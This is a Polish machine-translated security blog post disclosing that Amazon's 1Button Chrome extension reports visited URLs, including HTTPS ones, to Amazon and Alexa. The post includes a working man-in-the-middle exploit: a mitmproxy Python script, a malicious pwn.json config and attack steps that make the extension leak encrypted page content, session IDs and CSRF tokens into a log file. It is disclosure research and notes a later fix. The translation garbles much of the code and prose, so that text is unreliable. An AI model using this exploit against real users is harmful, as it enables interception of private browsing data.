Wersja: 3.2013.627.0 Aktualizacja: 28 czerwca 2013 1.791.011 użytkowników (przerażające, becase rozszerzenie wymaga następujących uprawnień): Amazon dba o swoją prywatność … nie gdzie tam, … prywatność w Amazon… niezły żart. Najpierw trochę informacji o tym, jak nadużywana jest prywatność, w przypadku, gdy korzystasz już z Chroma i Amazon 1Button App . Jest tam kilka ciekawych rzeczy (wszystkie z nich nie wymagają interakcji użytkownika i są oparte na ustawieniach domyślnych): Amazon zapisuje każdy URL odwiedzony przez przeglądarkę, nawet HTTPS. GET / GP / bit / aplikacje / web / SIA / skrobaczki? Url = https://gist.github.com/ HTTP/1.1 1 Host: http://www.amazon.com 2 Connection: keep-alive 3 Accept: * / * 4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36 5 Referer: https://gist.github.com/ 6 Accept-Encoding: gzip, deflate, SDCH 7 Accept-Language: en-US, en; q = 0.8, pl, q = 0,6 8 Cookie: wiele-of-amazon-cookies Amazon Apps Browser mogą również zbierać informacje o innych otwartych stronach, ale informacje te nie są powiązane z kontem Amazon lub nie identyfikują je z tobą. https://www.amazon.com/gp/bit/apps/web/SIA/scraper?url=https://gist.github.com/ wysyła dużo ciasteczka do Amazon, ale to dopiero początek. Amazon XSS-es każdej odwiedzanej witryny. Tak zwana funkcja SIA rozszerzenia jest skonstruowana tak, że: / / Main.js w kodzie rozszerzenia chrome.tabs.onUpdated.addListener (function (tabetyczny, changeInfo, tab) { if (siaEnabled changeInfo.status === “kompletna”) { Logger.log (“Wstrzykiwanie SIA”); storage.get (“options.ubp_root ‘, function (options_root) { var root = options_root [‘options.ubp_root’] chrome.tabs.executeScript (null, {code: “(function () {var s = document.createElement (‘script’); s.src = " “+ root +” / gp / bit / apps / web / SIA / skrobak url = ? “+ document.location.href; document.body.appendChild (s);} ());”}); }); } }); Dołącza zewnętrzny HTTP/1.1 200 OK Server: nginx Date: Thu, 11 lipca 2013 11:14:34 GMT Content-Type: text / javascript; charset = UTF-8 … (Function (okna, dokument) {}) (okno, dokument); Zapisuje zawartość niektórych stron internetowych, które odwiedzasz . Na przykład wyszukiwarka Google wyszukuje za pośrednictwem protokołu HTTPS, a kilka pierwszych rezultatów jest kierowane do Alexa- Amazon 1Button App POST HTTP/1.1 Host: widgets.alexa.com Proxy-Connection: keep-alive Content-Length: 662 Akceptujemy: application / xml Pochodzenie: chrom-extension / pbjikboenpfhbbejgkoklgkhjpfogcam User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36 Content-Type: text / plain; charset = UTF-8 Accept-Encoding: gzip, deflate, SDCH Accept-Language: en-US, en; q = 0.8, pl, q = 0,6 Cookie: aid = JRDTh1rpFM00ES http://rense.com/general50/hwt.htm http://en.wikipedia.org/wiki/Coup_d '% C3% A9tat http://www.law.cornell.edu/uscode/text/18/2385 http://www.thefreedictionary.com/overthrow http://io9.com/5574009/how-to-overthrow … utionaries http://williamblum.org/essays/read/over … aster-list http://ariannaonline.huffingtonpost.com … overthrow/ http://www.amazon.com/How-Overthrow-Gov … B000C4SYPC http://codes.lp.findlaw.com/uscode/18/I/115/2385 Oto przykładowe wyszukiwanie w Google i zobacz, co jest wysyłane przez rozszerzenie proxy. Zauważ, że adres URL i informacje o stronie przechodzą przez HTTP do http://widgets.alexa.com. Więc można uzyskać dostęp do informacji, że rozszerzenie jest skonfigurowane do wysyłania informacji do Alexa. Prawdziwym problemem jest jednak to, że można aktywnie wykorzystać opisane funkcje rozszerzeń przechwytujących informacje, na przykład uzyskać dostęp do adresów URL HTTPS i zawartości strony. Rozszerzenie dynamicznie konfiguruje się przez pobieranie informacji z Amazon. Mianowicie, po instalacji (i następnie okresowo) żąda ono i przetwarza dwa pliki konfiguracyjne. Przykładowy config przedstawiony jest poniżej: / / Httpsdatalist.dat [“Https: | [.]? [.]. [/] {2} (? Www [0-9] szyfrowane) (l.) google * [/]” ] / / Search_conf.js { “Google”: { “Urlexp”: “http (s):… [? #] \ \ / \ \ / Www \ \ google \ \ … * \ \ / * q = ([^] +)”, “Rankometer”: { “Url”: “http (s):. \ \ / \ \ / (Www (| [0-9]) | szyfrowany) \ \ (|. L \ ) google \ \ … * \ \ /” , “Reload”: true, “Xpath”: { “Blok”: [”/ / Div / ol / li [zawiera (concat (’’, normalizują-space (klasa @), ‘’), concat (’’, ‘g’, ‘’))]”, “/ / Div / ol / li [zawiera (concat (’’, normalizują-space (klasa @), ‘’), concat (’’, ‘g’, ‘’))]”, “/ / Div / ol / li [zawiera (concat (’’, normalizują-space (klasa @), ‘’), concat (’’, ‘g’, ‘’))]” ], “Wstawić”: [". / Div / div / div / cite", “. / Div / div [zawiera (concat (’’, normalizują-space (klasa @), ‘’), concat (’’, ‘kv’, ‘’))] / cite”, “. / Div / div / div / div [zawiera (concat (’’, normalizują-space (klasa @), ‘’), concat (’’, ‘kv’, ‘’))] / cite” ], “Target”: ["./div/h3 [Zawiera (concat (’’, normalizują-space (klasa @), ‘’), ‘r’)] / potomek :: / @ href", “./h3 [Zawiera (concat (’’, normalizują-space (klasa @), ‘’), ‘r’)] / potomek :: / @ href”, “./div/h3 [Zawiera (concat (’’, normalizują-space (klasa @), ‘’), ‘r’)] / potomek :: / @ href” ] } } … } … Pierwszy plik określa jakie strony HTTPS mogą być kontrolowane. Drugi plik określa wzorce adresów URL, aby obserwować i XPath wyrażenia i wyodrębnić treść zgłaszanych danych spowrotem do Alexa. Plik konfiguracyjne i są pobierane z tych adresów URL: http://www.amazon.com/gp/bit/toolbar/3. … talist.dat http://www.amazon.com/gp/bit/toolbar/3. … ch_conf.js Eksploatacja Wykorzystanie tego jest bardzo proste: 1. Ustaw / symulowanie HTTP man-in-the-middle 2. Nasłuchiwanie i zapisywanie żądań HTTP do powyższych plików konfiguracyjnych 3. Odpowiadanie z wieloznaczną konfiguracją (https:// zapisuje wszystkie strony i wyodrębnia rządane informacje) 4. Loguje wszystkie żądania HTTP do Alexa, zbierając wcześniej zaszyfrowane strony internetowe klienta. Dla celów demonstracyjnych, zrobiłem mitmproxy skrypt, który konwertuje Amazon Chrome rozszerzenie 1Button do przejrzystego-HTTPS proxy HTTP. #! / Usr / bin / env pythondef start (sc): sc.log (“Amazon rozpoczął Pwner One Click”) def odpowiedzi (sc, f): jeśli f.request.path.startswith (’/ gp/bit/toolbar/3.0/toolbar/search_conf.js “): f.response.decode () # usuwa nagłówek gzip f.response.content = open (‘pwn.json’, ‘r’). read () elif f.request.path.startswith (’/ gp/bit/toolbar/3.0/toolbar/httpsdatalist.dat “): f.response.decode () # usuwa nagłówek gzip f.response.content = “[” https:// “] ‘# log’em wszystko def kupna (sc, f): jeśli f.request.path.startswith (’/ ruch / rankr /’): q = f.request.get_query () p = q.get_first (“ref”) jeśli p i f.request.content: c = open (‘pwn.log’, ‘’) c.write (p + “\ n” + f.request.get_decoded_content () + “\ n ============ \ n”) c.close () i pwn.json complimetary: { “PWN”: { “Urlexp”: “http (s): \ \ / \ \ /”, “Rankometer”: { “Url”: “http (s): \ \ / \ \ /”, “Reload”: true, “Xpath”: { “Blok”: [”/ / Html”], “Wstawić”: [”/ / Html"], “Target”: ["/ / Html"] } } “Cba”: { “Url”: “http (s): \ \ / \ \ /”, “Reload”: true } } } Aby rozpocząć atak, wystarczy po prostu dograć wszystkie HTTP (port 80) ruchu do mitmproxy i uruchomić skrypt: $ Mitmproxy-s pwn.py Teraz wystarczy zainstalować rozszerzenie w Chrome (lub wyłączyć i włączyć go, aby szybko odświeżyć konfigurację) i rozpocząć przeglądanie. Wszystkie przechwycone dane HTTPS będą w pwn.log plik. Exploit źródło: GitHub Ograniczenia AJAX aplikacji IGMP działa źle, jako rozszerzenie nie zgłasza odpowiedzi XMLHttpRequest Niemniej jednak, istnieje wiele prywatnych informacji w przechwyconym ruchu. Tokeny CSRF, identyfikatory sesji, e-mail treści, treści dokumentu Google Drive . FILM: Update: Po opublikowaniu, Amazon nie zatrzymał śledzenia, ale naprawili usterkę - config linki są teraz wysyłane przez protokół HTTPS. Po raz kolejny, pełna jawność pomogła bezpieczeństwu wspólnemu. © http://blog.kotowicz.net/2013/07/jealou … utton.html